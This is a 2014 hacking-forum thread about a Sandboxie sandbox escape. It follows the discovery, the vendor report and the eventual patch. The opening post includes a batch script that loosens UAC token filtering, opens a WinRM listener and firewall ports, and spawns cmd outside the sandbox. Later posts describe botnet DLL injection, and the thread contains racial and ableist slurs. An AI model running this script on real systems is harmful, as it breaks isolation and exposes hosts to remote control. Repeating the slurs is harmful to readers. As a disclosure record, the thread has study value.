

Forum:[Hack Forums](#)

Thread: [\[0-Day\]\[Alert\] Sandboxie escape. \[UPDATED W/ SOURCE\]](#)

IcYSeptember - July 11, 2014, 11:37 am

So, my internet was out for the past 3 days, and I started playing around seeing what I could do with Sandboxie, since all my friends are at school and whatnot.

Anyway...Found this.
(Watch it in fullscreen so you can actually read)

[Video: <https://www.youtube.com/watch?v=ZCI0jEWObGU>]

It's not public, nor do I intend it to be released, leaked, sold (except to the developer of Sandboxie), or anything else.

Just thought I'd let you know that Sandboxie isn't as secure as you think it is.

UPDATE:

And when trying the vulnerability when testing the new, beta version:

And lastly, the escape source code:

```
@echo off
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
cmd /c "winrm quickconfig -quiet -force" >nul
cmd /c "winrm create winrm/config/listener?Address=*&Transport=HTTP" >nul
netsh firewall add portopening TCP 80 "Windows Remote Management" >nul
netsh firewall add portopening TCP 137 "a1" >nul
ping 127.0.0.1 -n 3 -w 5000 >nul
winrs -r:127.0.0.1 "start cmd"
pause
```

Jibbly - July 11, 2014, 11:38 am

Damn yo good ass find bro hope you get some BANK NIGGA

Aura - July 11, 2014, 11:42 am

Nice find once again Icy.

I suggest everyone to not use Sandboxie on their host system right now until this gets patched. Run Sandboxie in a VM like I do and even there, secure your VM. We have no idea if that 0day is currently being used by spreaders or not.

Eeluminati - July 11, 2014, 11:50 am

(Jul 11, 2014 11:42 AM)Aur? Wrote: [\[CITE\]](#) Nice find once again Icy.

I suggest everyone to not use Sandboxie on their host system right now until this gets patched. Run Sandboxie in a VM like I do and even there, secure your VM. We have no idea if that 0day is

currently being used by spreaders or not.

Indeed. I remember you recommending me to use my VM with sandboxie rather than it alone, any recommendations now to prevent malicious software on VM?

Aura - July 11, 2014, 11:58 am

(Jul 11, 2014 11:50 AM)Eeluminati Wrote: [\[CITE\]](#) Indeed. I remember you recommending me to use my VM with sandboxie rather than it alone, any recommendations now to prevent malicious software on VM?

Isolate your VM. Disable the shared clipboard, disable the network discovery and file sharing on both your host system and your VM and put your VM in a separate VLAN if you can.

Eeluminati - July 11, 2014, 12:01 pm

(Jul 11, 2014 11:58 AM)Aur? Wrote: [\[CITE\]](#) Isolate your VM. Disable the shared clipboard, disable the network discovery and file sharing on both your host system and your VM and put your VM in a separate VLAN if you can.

Alright thanks for the help, you should make a thread to alert this to people. ?

NoMemes - July 11, 2014, 12:12 pm

Video is glitched for me. Upload it again possibly?

Thanks Op. :L

Dex? - July 11, 2014, 12:22 pm

My nigga Icy is going to make bank with this shit.

Nice find, bruh.

Aceman - July 11, 2014, 12:44 pm

Impressive find there Icy! Do they offer bounties for finds such as these or are you just going to be kind and share it with it?

Aura - July 11, 2014, 12:45 pm

(Jul 11, 2014 12:44 PM)Aceman Wrote: [\[CITE\]](#) Impressive find there Icy! Do they offer bounties for finds such as these or are you just going to be kind and share it with it?

He's going for the bounty obviously and this is what I would do too ?

Eeluminati - July 11, 2014, 12:56 pm

I wonder how much he'll get.

Sandboxie: Great find! We've gone ahead and hooked you up with premium Sandboxie!

Perfectionist - July 11, 2014, 1:01 pm

I wonder how much OP will get for this find, and it's good that you're not giving this out and whatnot

IcYSeptember - July 11, 2014, 1:02 pm

I'm still waiting on that email from Sandboxie. :/

Hopefully they do offer bounties.

hyhyhhrf3 - July 11, 2014, 1:03 pm

I went ahead and reported this to Sandboxie using your alias etc. I'll let you guys know how much they pay me soon.

Dex? - July 11, 2014, 1:05 pm

(Jul 11, 2014 01:02 PM)IcYSeptember Wrote: [\[CITE\]](#) I'm still waiting on that email from Sandboxie. :/
Hopefully they do offer bounties.
They should considering how important a bug like this is.

Aura - July 11, 2014, 2:08 pm

(Jul 11, 2014 12:56 PM)Eeluminati Wrote: [\[CITE\]](#) I wonder how much he'll get.

Sandboxie: Great find! We've gone ahead and hooked you up with premium Sandboxie!
I honestly thought about that as a possible answer from them ?

xVulnerable - July 11, 2014, 4:18 pm

(Jul 11, 2014 11:50 AM)Eeluminati Wrote: [\[CITE\]](#) Indeed. I remember you recommending me to use my VM with sandboxie rather than it alone, any recommendations now to prevent malicious software on VM?

Running in sandboxie isn't safe at all, apart of the Oday.
All your info can still be grabbed such as files and saved passwords. That is why you should always use a VM.

OP have you reported this to Sandboxie?

VRUMM - July 11, 2014, 4:20 pm

This seems awesome IcY. I hope you get a nice bounty for this.

IcYSeptember - July 11, 2014, 4:34 pm

(Jul 11, 2014 04:18 PM)xVulnerable Wrote: [\[CITE\]](#) Running in sandboxie isn't safe at all, apart of the Oday.

All your info can still be grabbed such as files and saved passwords. That is why you should always use a VM.

OP have you reported this to Sandboxie?
I have. I'm waiting on a reply from the devs.

dynamite_pr0 - July 11, 2014, 4:37 pm

Aww man. I loved sandboxxie. Well, I'm gonna stop using it now.

xVulnerable - July 11, 2014, 4:42 pm

(Jul 11, 2014 04:34 PM)IcYSeptember Wrote: [\[CITE\]](#) I have. I'm waiting on a reply from the devs.
Couldn't you sell the Oday for a couple of thousand dollars?

IcYSeptember - July 11, 2014, 4:44 pm

(Jul 11, 2014 04:42 PM)xVulnerable Wrote: [\[CITE\]](#) Couldn't you sell the Oday for a couple of thousand dollars?

I could very easily. But that wouldn't be the whitehat way to go, haha....but it might just be the way I do go....depends.

dynamite_pr0 - July 11, 2014, 4:47 pm

(Jul 11, 2014 04:44 PM)IcYSeptember Wrote: [\[CITE\]](#) I could very easily. But that wouldn't be the whitehat way to go, haha....but it might just be the way I do go....depends.
I'd have much respect for you if you actually turn down thousands of dollars for less.

Lil Winslo - July 11, 2014, 7:22 pm

(Jul 11, 2014 11:37 AM)IcYSeptember Wrote: [\[CITE\]](#) So, my internet was out for the past 3 days, and I started playing around seeing what I could do with Sandboxie, since all my friends are at school

and whatnot.

Anyway...Found this.
(Watch it in fullscreen so you can actually read)

[Video: <https://www.youtube.com/watch?v=ZC10jEWObGU>]

It's not public, nor do I intend it to be released, leaked, sold (except to the developer of Sandboxie), or anything else.

Just thought I'd let you know that Sandboxie isn't as secure as you think it is.
100% vouch, just tested the vulnerability with the aid of Icy, it definitely works.

IcYSeptember - July 11, 2014, 8:03 pm

Sandboxie isn't responding... I've just tried emailing Invincea (the company who acquired Sandboxie) directly.

Null Byte - July 11, 2014, 8:28 pm

Not sure how legit this is. Can you make a video of you clicking to terminate all applications inside the sandbox and then show us if the text file is still there? Your video was incomplete and proved nothing.

Olgasaur - July 11, 2014, 8:30 pm

Not like bypassing a sandbox is new or anything lol it's been done against sandboxie lots of times they normally patch it pretty fast though.

Spritzpups™ - July 11, 2014, 8:35 pm

wow nice found hope they will fix that.

Aura - July 11, 2014, 10:04 pm

(Jul 11, 2014 04:44 PM)IcYSeptember Wrote: [\[CITE\]](#) I could very easily. But that wouldn't be the whitehat way to go, haha....but it might just be the way I do go....depends.

If you actually sell that 0day exploit I'll ...
Be very sad ?

IcYSeptember - July 12, 2014, 5:58 am

(Jul 11, 2014 10:04 PM)Aur? Wrote: [\[CITE\]](#) If you actually sell that 0day exploit I'll ...
Be very sad ?

I've already reported it to Invincea (the company that acquired Sandboxie). We'll see where it goes.

1337 - July 12, 2014, 7:07 am

wow nice find here sandboxie isn't secure ...

IcYSeptember - July 12, 2014, 7:26 am

After many attempts, I can't work up a quick patch for this, which has been requested multiple times...haha.

The way this works...it's stupidly simple, and it can't be disabled. Sandboxie will have to patch it, and it won't be very easy I think.

?IvNet™ - July 12, 2014, 8:55 am

Damn nice find I hope they can patch this soon.

24/7 - July 12, 2014, 9:00 am

Wow this is a impressive find. This makes the security of sandboxie useless.

-xtreme ?

Null Byte - July 12, 2014, 9:58 am

Can you do what I said here?

<https://hackforums.net/showthread.php?tid=4333925&pid=41184980#pid41184980>

Because as of now your video is proving nothing.

IcYSeptember - July 12, 2014, 10:02 am

(Jul 12, 2014 09:58 AM)Null Byte Wrote: [\[CITE\]](#) Can you do what I said here?

<https://hackforums.net/showthread.php?tid=4333925&pid=41184980#pid41184980>

Because as of now your video is proving nothing.

Yes, I can do this. Give me just a few minutes.

Disabling Sandboxie with the exploit:

[Video: <https://www.youtube.com/watch?v=3U465TcRMX8>]

Null Byte - July 12, 2014, 10:00 pm

(Jul 12, 2014 10:02 AM)IcYSeptember Wrote: [\[CITE\]](#) Yes, I can do this. Give me just a few minutes.

Disabling Sandboxie with the exploit:

[Video: <https://www.youtube.com/watch?v=3U465TcRMX8>]

Very impressive, nice find! Hopefully you get some sort of bounty for this ?

Nikem.D ? - July 13, 2014, 3:29 am

nice finding there , bro . i hope you will get enough bounty for it . good luck .

Firenet - July 13, 2014, 3:51 am

good luck with bounty . now i never run a file in SB .

b004ul - July 13, 2014, 8:40 am

The best way to get the sandboxie dev attention is to put it on twitter, facebook, youtube, and everywhere. Or use reddit. :)

IcYSeptember - July 13, 2014, 8:42 am

(Jul 13, 2014 08:40 AM)b004ul Wrote: [\[CITE\]](#) The best way to get the sandboxie dev attention is to put it on twitter, facebook, youtube, and everywhere. Or use reddit. :)

I'll put it some other places, haha. :)

?lvNet™ - July 13, 2014, 11:59 am

(Jul 13, 2014 08:42 AM)IcYSeptember Wrote: [\[CITE\]](#) I'll put it some other places, haha. :)Oh god dont spread it, this will fuck everyone up.

Aura - July 16, 2014, 5:33 am

IcY tested the Oday in one of my VMs running Windows 7 Professional x64 and it worked. Took it quite some time as it's different Under Windows 7 but it still worked ! ?

Peter DragonSlayer - July 16, 2014, 5:47 am

This just goes to show that sandboxie is not to be trusted on your own PC
As Aura suggests it should be ran on a VM :)

ProtectNull™ - July 16, 2014, 5:54 am

Wow well done, hope you get a reward for this!

HIGH PAID FELLA - July 16, 2014, 8:09 am

Nice found but there is something similar to this that gets used in botnets.

You open an .exe that injects a .dll in the memory, the .exe gets runned in Sandbox but the .dll can't. The .dll gets dropped and injects itself in the explorer.exe

IcYSeptember - July 16, 2014, 9:37 am

(Jul 16, 2014 08:09 AM)Asterea Wrote: [\[CITE\]](#) Nice found but there is something similar to this that gets used in botnets.

You open an .exe that injects a .dll in the memory, the .exe gets runned in Sandbox but the .dll can't. The .dll gets dropped and injects itself in the explorer.exe

I'd like to know more about how that works.

How does the dll inject itself? How is it running? It has to have a host somehow. You can't just double-click a dll file and it runs, and you can't just "execute" a dll standalone, as far as I know. You've got to either load it or inject it.

And if a program tried to inject a dll into explorer from inside Sandboxie, Sandboxie wouldn't allow you to get a handle to explorer.exe.

Trust me, I've tried.

HIGH PAID FELLA - July 16, 2014, 10:38 am

(Jul 16, 2014 09:37 AM)IcYSeptember Wrote: [\[CITE\]](#) I'd like to know more about how that works.

How does the dll inject itself? How is it running? It has to have a host somehow. You can't just double-click a dll file and it runs, and you can't just "execute" a dll standalone, as far as I know. You've got to either load it or inject it.

And if a program tried to inject a dll into explorer from inside Sandboxie, Sandboxie wouldn't allow you to get a handle to explorer.exe.

Trust me, I've tried.

It works like a plug-in, like I explained on the sales thread of Coiner bot.

Combine this and that post and I think you'll understand.

VirusTotal - July 24, 2014, 11:34 pm

Congratulations dude! Very nice find! Hope they will reward you!!!

Eeluminati - July 25, 2014, 5:48 am

Oh yeah true, did you end up getting any form of payment/reward for your find?

Aura - July 31, 2014, 10:03 am

Hey IcY, did you ever receive any response from Sandboxie on this ?

IcYSeptember - July 31, 2014, 10:53 am

(Jul 31, 2014 10:03 AM)Aur? Wrote: [\[CITE\]](#) Hey IcY, did you ever receive any response from Sandboxie on this ?

No, Sandboxie went all autistic on me.

Aura - July 31, 2014, 10:57 am

(Jul 31, 2014 10:53 AM)IcYSeptember Wrote: [\[CITE\]](#) No, Sandboxie went all autistic on me.

I just sent your thread to a Staff member of Malwaretips.com that was interested in seeing that 0-day. He have a sample (malware) that apparently uses that 0-day as it displays a message, in a box with UAC outside of Sandboxie.

topLevel - July 31, 2014, 12:12 pm

What do you mean by, sandboxie went all autistic on me?

Aura - July 31, 2014, 12:20 pm

(Jul 31, 2014 12:12 PM)swayz Wrote: [\[CITE\]](#) What do you mean by, sandboxie went all autistic on me?

They most likely completely ignored his 0day exploit report, and he was doing them a favor by not selling it and reporting it directly to them instead.

HIGH PAID FELLA - July 31, 2014, 12:22 pm

(Jul 31, 2014 12:20 PM)Aur? Wrote: [\[CITE\]](#) They most likely completely ignored his 0day exploit report, and he was doing them a favor by not selling it and reporting it directly to them instead.

It's free software, if you did not expect that the I don't know. That's why people jump from whitehat to blackhat, Aura.

DragonHunter - July 31, 2014, 12:48 pm

Lol a 0day, really ? I mean this stuff is getting old with sandboxie, so many ways to get outside of it by a few lines of code in C++

Even on the forum of sandboxie they're showing how to get outside with a few lines.

I never trusted sandboxes, It's a lot safer to download a virus in a VM then actually run it inside a sandbox

lcYSeptember - July 31, 2014, 12:52 pm

(Jul 31, 2014 12:48 PM)DragonHunter Wrote: [\[CITE\]](#) Lol a 0day, really ? I mean this stuff is getting old with sandboxie, so many ways to get outside of it by a few lines of code in C++

Even on the forum of sandboxie they're showing how to get outside with a few lines.

I never trusted sandboxes, It's a lot safer to download a virus in a VM then actually run it inside a sandbox

Show me "a few lines of code in C++" please. I'd love to see it escape from Sandboxie.

mcly - August 3, 2014, 2:50 pm

Are you somehow messing with the sandboxie config file ICY? I've seen something like this already but most people just used a different config for those "breakouts"

Also, i believe sandboxie has a official "strong" config where they put in extra security settings that makes such breakouts harder,i believe its in their forum somewhere..

lcYSeptember - August 3, 2014, 2:56 pm

(Aug 3, 2014 02:50 PM)mcly Wrote: [\[CITE\]](#) Are you somehow messing with the sandboxie config file ICY? I've seen something like this already but most people just used a different config for those "breakouts"

Also, i believe sandboxie has a official "strong" config where they put in extra security settings that makes such breakouts harder,i believe its in their forum somewhere..

Nope. I'm exploiting a Windows service using an unmodified version of Sandboxie. You can start services from inside Sandboxie.

Aura watched me breakout on a VM, he can vouch for me.

Hopsin - August 3, 2014, 2:57 pm

This is actually a very nice find. Congratulations mate!

lcYSeptember - August 3, 2014, 2:58 pm

(Aug 3, 2014 02:57 PM)Hopsin Wrote: [\[CITE\]](#) This is actually a very nice find. Congratulations mate! Thank you. :)

I'm thinking about dropping the details on the exploit soon...if Sandboxie doesn't get back with me.

ugliestmanonearth - August 4, 2014, 8:30 pm

Wait how many gullible idiots are there? Running an application with UAC Prohibits SANDBOXIE driver from even hooking onto the process without the same process token.

This isn't an exploit. He's using NtCreateProcess to execute cmd.exe Congratulations.

IcYSeptember - August 4, 2014, 8:49 pm

(Aug 4, 2014 08:30 PM)ugliestmanonearth Wrote: [\[CITE\]](#) Wait how many gullible idiots are there? Running an application with UAC Prohibits SANDBOXIE driver from even hooking onto the process without the same process token.

This isn't an exploit. He's using NtCreateProcess to execute cmd.exe Congratulations.
So you're saying ring-0 has less privileges than an administrator? Oh, okay. Thanks for telling me.
Fuck off, you little kid.

Go write he code you just told me, try it, and tell me how it works out.

ugliestmanonearth - August 4, 2014, 11:06 pm

(Aug 4, 2014 08:49 PM)IcYSeptember Wrote: [\[CITE\]](#) So you're saying ring-0 has less privileges than an administrator? Oh, okay. Thanks for telling me.
Fuck off, you little kid.

Go write he code you just told me, try it, and tell me how it works out.
Here's the PoC

```
Code //Use startupinfo to run CMD.EXE as administrator
// (cmd /c i forget the arguments
//launch shellexecute
```

```
//done
```

IcYSeptember - August 13, 2014, 10:44 am

Yep, you guys were right. I got a lifetime license for Sandboxie.

Robust - August 13, 2014, 10:54 am

Not sure a lifetime licence was worth it over the money you could have gotten by selling it, but you did the right thing.

IcYSeptember - August 13, 2014, 10:54 am

(Aug 13, 2014 10:54 AM)Robust Wrote: [\[CITE\]](#) Not sure a lifetime licence was worth it over the money you could have gotten by selling it, but you did the right thing.

Thank you.

And the vulnerability has been patched in the Beta version. I'll add that to the OP.

Pillows - August 13, 2014, 10:55 am

(Aug 13, 2014 10:54 AM)Robust Wrote: [\[CITE\]](#) Not sure a lifetime licence was worth it over the money you could have gotten by selling it, but you did the right thing.

Hey at least they gave him something. Better than what other websites do with a simple "thank you".

Aquilaane - August 13, 2014, 10:55 am

Damn nice find and thanks for reporting :)

lcYSeptember - August 13, 2014, 11:02 am

<http://forums.sandboxie.com/phpBB3/viewtopic.php?f=48&t=19151>

I'm guessing the 4.13.2 "Security has been tightened in other areas as well," is talking about my exploit.

EvilMinD - August 13, 2014, 11:06 am

Lifetime license? lol IMHO they should have paid you good mate, this is why many people tend to sell stuffs like this.

You did right though :)

lcYSeptember - August 13, 2014, 3:26 pm

(Aug 13, 2014 11:06 AM)EvilMinD Wrote: [\[CITE\]](#) Lifetime license? lol IMHO they should have paid you good mate, this is why many people tend to sell stuffs like this.

You did right though :)

Thank you. I think I did the right thing, too.

Cyrus - August 13, 2014, 7:01 pm

You said at the beginning you'd prob end up getting a sandboxie license Imfao ?

Guess you were right bud. ?

lcYSeptember - August 14, 2014, 8:58 am

(Aug 13, 2014 07:01 PM)Cyrus Wrote: [\[CITE\]](#) You said at the beginning you'd prob end up getting a sandboxie license Imfao ?

Guess you were right bud. ?

Haha, I guess so.

I'm somewhat happy with it, I guess.

Income. - August 14, 2014, 10:54 am

Great job mate. You did the right thing by reporting it.

Personally I think they should've give you something more than a lifetime license.

Eeluminati - August 14, 2014, 5:45 pm

(Jul 11, 2014 12:56 PM)Eeluminati Wrote: [\[CITE\]](#) I wonder how much he'll get.

Sandboxie: Great find! We've gone ahead and hooked you up with premium Sandboxie!

Close enough, called it Imao. ?